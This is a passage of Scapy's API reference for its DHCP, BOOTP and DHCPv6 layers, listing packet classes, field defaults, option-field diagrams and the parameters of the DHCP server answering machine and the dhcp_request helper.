+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. BOOTP                            


BOOTP fields






	op

	ByteEnumField

	1



	htype

	ByteEnumField

	1



	hlen

	ByteField

	6



	hops

	ByteField

	0



	xid

	XIntField

	0



	secs

	ShortField

	0



	flags

	FlagsField

	<Flag 0 ()>



	ciaddr

	IPField

	'0.0.0.0'



	yiaddr

	IPField

	'0.0.0.0'



	siaddr

	IPField

	'0.0.0.0'



	giaddr

	IPField

	'0.0.0.0'



	chaddr

	_BOOTP_chaddr

	b''



	sname

	StrFixedLenField

	b''



	file

	StrFixedLenField

	b''



	options

	StrEnumField

	b''











	
guess_payload_class(payload)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L94-L98]

	




	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L109-L110]

	




	
payload_guess

	Possible sublayers:
DHCP










	
class scapy.layers.dhcp.BOOTP_am(self, pool=Net('192.168.1.128/25'), network='192.168.1.0/24', gw='192.168.1.1', nameserver=None, domain=None, renewal_time=60, lease_time=1800, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L587-L664]

	Bases: AnsweringMachine


	
filter: str | None = 'udp and port 68 and port 67'

	




	
function_name = 'bootpd'

	




	
is_request(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L636-L642]

	




	
make_reply(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L647-L664]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	




	
parse_options(pool=Net('192.168.1.128/25'), network='192.168.1.0/24', gw='192.168.1.1', nameserver=None, domain=None, renewal_time=60, lease_time=1800, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L592-L634]

	
	Parameters:

	
	pool – the range of addresses to distribute. Can be a Net,
a list of IPs or a string (always gives the same IP).


	network – the subnet range


	gw – the gateway IP (can be None)


	nameserver – the DNS server IP (by default, same than gw)


	domain – the domain to advertise (can be None)








Other DHCP parameters can be passed as kwargs. See DHCPOptions in dhcp.py.
For instance:

dhcpd(pool=Net("10.0.10.0/24"), network="10.0.0.0/8", gw="10.0.10.1",
      classless_static_routes=["1.2.3.4/32:9.8.7.6"])










	
print_reply(_, reply)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L644-L645]

	




	
static send_function(x: List[Packet] | Packet | SetGen[Packet] | _PacketList[Packet], iface: NetworkInterface | str | None = None, iface_hint: str | None = None, socket: SuperSocket | None = None, **kargs: Any) → PacketList | None[source] [https://github.com/secdev/scapy/blob/master/scapy/sendrecv.py#L455-L486]

	Send packets at layer 2


	Parameters:

	
	x – the packets


	inter – time (in s) between two packets (default 0)


	loop – send packet indefinitely (default 0)


	count – number of packets to send (default None=1)


	verbose – verbose mode (default None=conf.verb)


	realtime – check that a packet was sent before sending the next one


	return_packets – return the sent packets


	socket – the socket to use (default is conf.L3socket(kargs))


	iface – the interface to send the packets on


	monitor – (not on linux) send in monitor mode






	Returns:

	None














	
class scapy.layers.dhcp.ClasslessFieldListField(name: str, default: List[AnyField] | None, field: AnyField, length_from: Callable[[Packet], int] | None = None, count_from: Callable[[Packet], int] | None = None, max_count: int | None = None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L135-L140]

	Bases: FieldListField


	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L136-L140]

	








	
class scapy.layers.dhcp.ClasslessStaticRoutesField(name: str, default: Any, fmt: str = 'H')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L143-L198]

	Bases: Field

RFC 3442 defines classless static routes as up to 9 bytes per entry:

# Code Len Destination 1    Router 1
+—–+—+—-+—–+—-+—-+—-+—-+—-+
| 121 | n | d1 | … | dN | r1 | r2 | r3 | r4 |
+—–+—+—-+—–+—-+—-+—-+—-+—-+

Destination first byte contains one octet describing the width followed
by all the significant octets of the subnet.


	
addfield(pkt, s, val)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L194-L195]

	




	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L189-L192]

	




	
i2m(pkt: Packet, x: str) → bytes[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L172-L187]

	




	
m2i(pkt: Packet, x: bytes) → str[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L156-L170]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L197-L198]

	








	
class scapy.layers.dhcp.DHCP(_pkt, /, *, options=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L513-L521]

	Bases: Packet


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTIONS            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                            Fig. DHCP                             


DHCP fields






	options

	DHCPOptionsField

	b''











	
mysummary()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L517-L521]

	








	
class scapy.layers.dhcp.DHCPOptionsField(name: str, default: I | None, fmt: str = 'H', remain: int = 0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L394-L510]

	Bases: StrField

A field that builds and dissects DHCP options.
The internal value is a list of tuples with the format
[(“option_name”, <option_value>), …]
Where expected names and values can be found using DHCPOptions


	
getfield(pkt, s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L417-L418]

	




	
i2m(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L473-L507]

	




	
i2repr(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L403-L415]

	




	
islist = 1

	




	
m2i(pkt, x)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L420-L471]

	




	
randval()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L509-L510]

	








	
class scapy.layers.dhcp.DHCP_am(self, pool=Net('192.168.1.128/25'), network='192.168.1.0/24', gw='192.168.1.1', nameserver=None, domain=None, renewal_time=60, lease_time=1800, **kwargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L667-L695]

	Bases: BOOTP_am


	
function_name = 'dhcpd'

	




	
make_reply(req)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L670-L695]

	




	
optam0: Dict[str, Any]

	




	
optam1: Dict[str, Any]

	




	
optam2: Dict[str, Any]

	




	
optsend: Dict[str, Any]

	




	
optsniff: Dict[str, Any]

	








	
class scapy.layers.dhcp.RandClasslessStaticRoutesField[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L126-L132]

	Bases: RandField

A RandValue for classless static routes






	
class scapy.layers.dhcp.RandDHCPOptions(size=None, rndstr=None)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L368-L391]

	Bases: RandField






	
scapy.layers.dhcp.dhcp_request(hw=None, req_type='discover', server_id=None, requested_addr=None, hostname=None, iface=None, **kargs)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp.py#L530-L584]

	Send a DHCP discover request and return the answer.

Usage:

>>> dhcp_request()  # send DHCP discover
>>> dhcp_request(req_type='request',
...              requested_addr='10.53.4.34')  # send DHCP request












            

          

      

      

    

  

    
      
          
            
  
scapy.layers.dhcp6

DHCPv6: Dynamic Host Configuration Protocol for IPv6. [RFC 3315,8415]


	
class scapy.layers.dhcp6.DHCP6(_pkt, /, *, msgtype=None, trid=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1141-L1148]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|    MSGTYPE    |                      TRID                     |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                            Fig. DHCP6                            


DHCP6 fields






	msgtype

	ByteEnumField

	None



	trid

	X3BytesField

	0











	
hashret()[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1147-L1148]

	








	
class scapy.layers.dhcp6.DHCP6NTPSubOptMCAddr(_pkt, /, *, optcode=2, optlen=16, addr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L976-L983]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L982-L983]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6NTPSubOptMCAddr                     


DHCP6NTPSubOptMCAddr fields






	optcode

	ShortField

	2



	optlen

	ShortField

	16



	addr

	IP6Field

	'::'















	
class scapy.layers.dhcp6.DHCP6NTPSubOptSrvAddr(_pkt, /, *, optcode=1, optlen=16, addr='::')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L966-L973]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L972-L973]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                              ADDR                             |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6NTPSubOptSrvAddr                    


DHCP6NTPSubOptSrvAddr fields






	optcode

	ShortField

	1



	optlen

	ShortField

	16



	addr

	IP6Field

	'::'















	
class scapy.layers.dhcp6.DHCP6NTPSubOptSrvFQDN(_pkt, /, *, optcode=3, optlen=None, fqdn=b'.')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L986-L994]

	Bases: Packet


	
aliastypes

	




	
extract_padding(s)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L993-L994]

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              FQDN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6NTPSubOptSrvFQDN                    


DHCP6NTPSubOptSrvFQDN fields






	optcode

	ShortField

	3



	optlen

	FieldLenField

	None



	fqdn

	DNSStrField

	b'.'















	
class scapy.layers.dhcp6.DHCP6OptAuth(_pkt, /, *, optcode=11, optlen=None, proto=3, alg=1, rdm=0, replay=b'\x00\x00\x00\x00\x00\x00\x00\x00', authinfo=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L542-L552]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     PROTO     |      ALG      |      RDM      |     REPLAY    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+               +
|                                                               |
+                                               +-+-+-+-+-+-+-+-+
|                                               |    AUTHINFO   |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                        Fig. DHCP6OptAuth                         


DHCP6OptAuth fields






	optcode

	ShortEnumField

	11



	optlen

	FieldLenField

	None



	proto

	ByteEnumField

	3



	alg

	ByteEnumField

	1



	rdm

	ByteEnumField

	0



	replay

	StrFixedLenField

	b'\x00\x00\x00\x00\x00\x00\x00\x00'



	authinfo

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptBCMCSDomains(_pkt, /, *, optcode=33, optlen=None, bcmcsdomains=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L850-L855]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BCMCSDOMAINS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptBCMCSDomains                     


DHCP6OptBCMCSDomains fields






	optcode

	ShortEnumField

	33



	optlen

	FieldLenField

	None



	bcmcsdomains

	DomainNameListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptBCMCSServers(_pkt, /, *, optcode=34, optlen=None, bcmcsservers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L858-L863]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          BCMCSSERVERS         |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptBCMCSServers                     


DHCP6OptBCMCSServers fields






	optcode

	ShortEnumField

	34



	optlen

	FieldLenField

	None



	bcmcsservers

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptBootFileUrl(_pkt, /, *, optcode=59, optlen=None, optdata=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1020-L1025]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTDATA            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptBootFileUrl                     


DHCP6OptBootFileUrl fields






	optcode

	ShortEnumField

	59



	optlen

	FieldLenField

	None



	optdata

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptCaptivePortal(_pkt, /, *, optcode=103, optlen=None, URI=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1087-L1092]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              URI              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. DHCP6OptCaptivePortal                    


DHCP6OptCaptivePortal fields






	optcode

	ShortEnumField

	103



	optlen

	FieldLenField

	None



	URI

	StrLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptClientArchType(_pkt, /, *, optcode=61, optlen=None, archtypes=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1028-L1035]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ARCHTYPES           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                   Fig. DHCP6OptClientArchType                    


DHCP6OptClientArchType fields






	optcode

	ShortEnumField

	61



	optlen

	FieldLenField

	None



	archtypes

	FieldListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptClientFQDN(_pkt, /, *, optcode=39, optlen=None, res=0, flags=<Flag 0 ()>, fqdn=b'.')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L914-L922]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|   RES   |FLAGS|              FQDN             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptClientFQDN                      


DHCP6OptClientFQDN fields






	optcode

	ShortEnumField

	39



	optlen

	FieldLenField

	None



	res

	BitField  (5 bits)

	0



	flags

	FlagsField

	<Flag 0 ()>



	fqdn

	DNSStrField

	b'.'















	
class scapy.layers.dhcp6.DHCP6OptClientId(_pkt, /, *, optcode=1, optlen=None, duid=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L358-L363]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|              DUID             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptClientId                       


DHCP6OptClientId fields






	optcode

	ShortEnumField

	1



	optlen

	FieldLenField

	None



	duid

	PacketLenField

	b''















	
class scapy.layers.dhcp6.DHCP6OptClientLinkLayerAddr(_pkt, /, *, optcode=79, optlen=None, lltype=1, clladdr='00:00:00:00:00:00')[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1078-L1084]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             LLTYPE            |            CLLADDR            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. DHCP6OptClientLinkLayerAddr                 


DHCP6OptClientLinkLayerAddr fields






	optcode

	ShortEnumField

	79



	optlen

	FieldLenField

	None



	lltype

	ShortField

	1



	clladdr

	_LLAddrField

	'00:00:00:00:00:00'















	
class scapy.layers.dhcp6.DHCP6OptClientNetworkInterId(_pkt, /, *, optcode=62, optlen=3, iitype=0, iimajor=0, iiminor=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1038-L1044]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|     IITYPE    |    IIMAJOR    |    IIMINOR    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. DHCP6OptClientNetworkInterId                 


DHCP6OptClientNetworkInterId fields






	optcode

	ShortEnumField

	62



	optlen

	ShortField

	3



	iitype

	ByteField

	0



	iimajor

	ByteField

	0



	iiminor

	ByteField

	0















	
class scapy.layers.dhcp6.DHCP6OptDNSDomains(_pkt, /, *, optcode=24, optlen=None, dnsdomains=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L759-L764]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DNSDOMAINS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptDNSDomains                      


DHCP6OptDNSDomains fields






	optcode

	ShortEnumField

	24



	optlen

	FieldLenField

	None



	dnsdomains

	DomainNameListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptDNSServers(_pkt, /, *, optcode=23, optlen=None, dnsservers=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L751-L756]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           DNSSERVERS          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptDNSServers                      


DHCP6OptDNSServers fields






	optcode

	ShortEnumField

	23



	optlen

	FieldLenField

	None



	dnsservers

	IP6ListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptERPDomain(_pkt, /, *, optcode=65, optlen=None, erpdomain=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L1047-L1052]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           ERPDOMAIN           |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. DHCP6OptERPDomain                      


DHCP6OptERPDomain fields






	optcode

	ShortEnumField

	65



	optlen

	FieldLenField

	None



	erpdomain

	DomainNameListField

	[]















	
class scapy.layers.dhcp6.DHCP6OptElapsedTime(_pkt, /, *, optcode=8, optlen=2, elapsedtime=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L485-L489]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|          ELAPSEDTIME          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. DHCP6OptElapsedTime                     


DHCP6OptElapsedTime fields






	optcode

	ShortEnumField

	8



	optlen

	ShortField

	2



	elapsedtime

	_ElapsedTimeField

	0















	
class scapy.layers.dhcp6.DHCP6OptGeoConf(_pkt, /, *, optcode=36, optlen=None, what=2, country_code=b'FR', ca_elts=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/layers/dhcp6.py#L880-L888]

	Bases: _DHCP6OptGuessPayload


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            OPTCODE            |             OPTLEN            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|      WHAT     |          COUNTRY CODE         |    CA ELTS    |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |
+-+-+-+-+-+-+-+-+

                       Fig. DHCP6OptGeoConf                       


DHCP6OptGeoConf fields






	optcode

	ShortEnumField

	36



	optlen

	FieldLenField

	None



	what

	ByteEnumField

	2



	country_code

	StrFixedLenField

	b'FR'



	ca_elts

	PacketListField

	[]















	
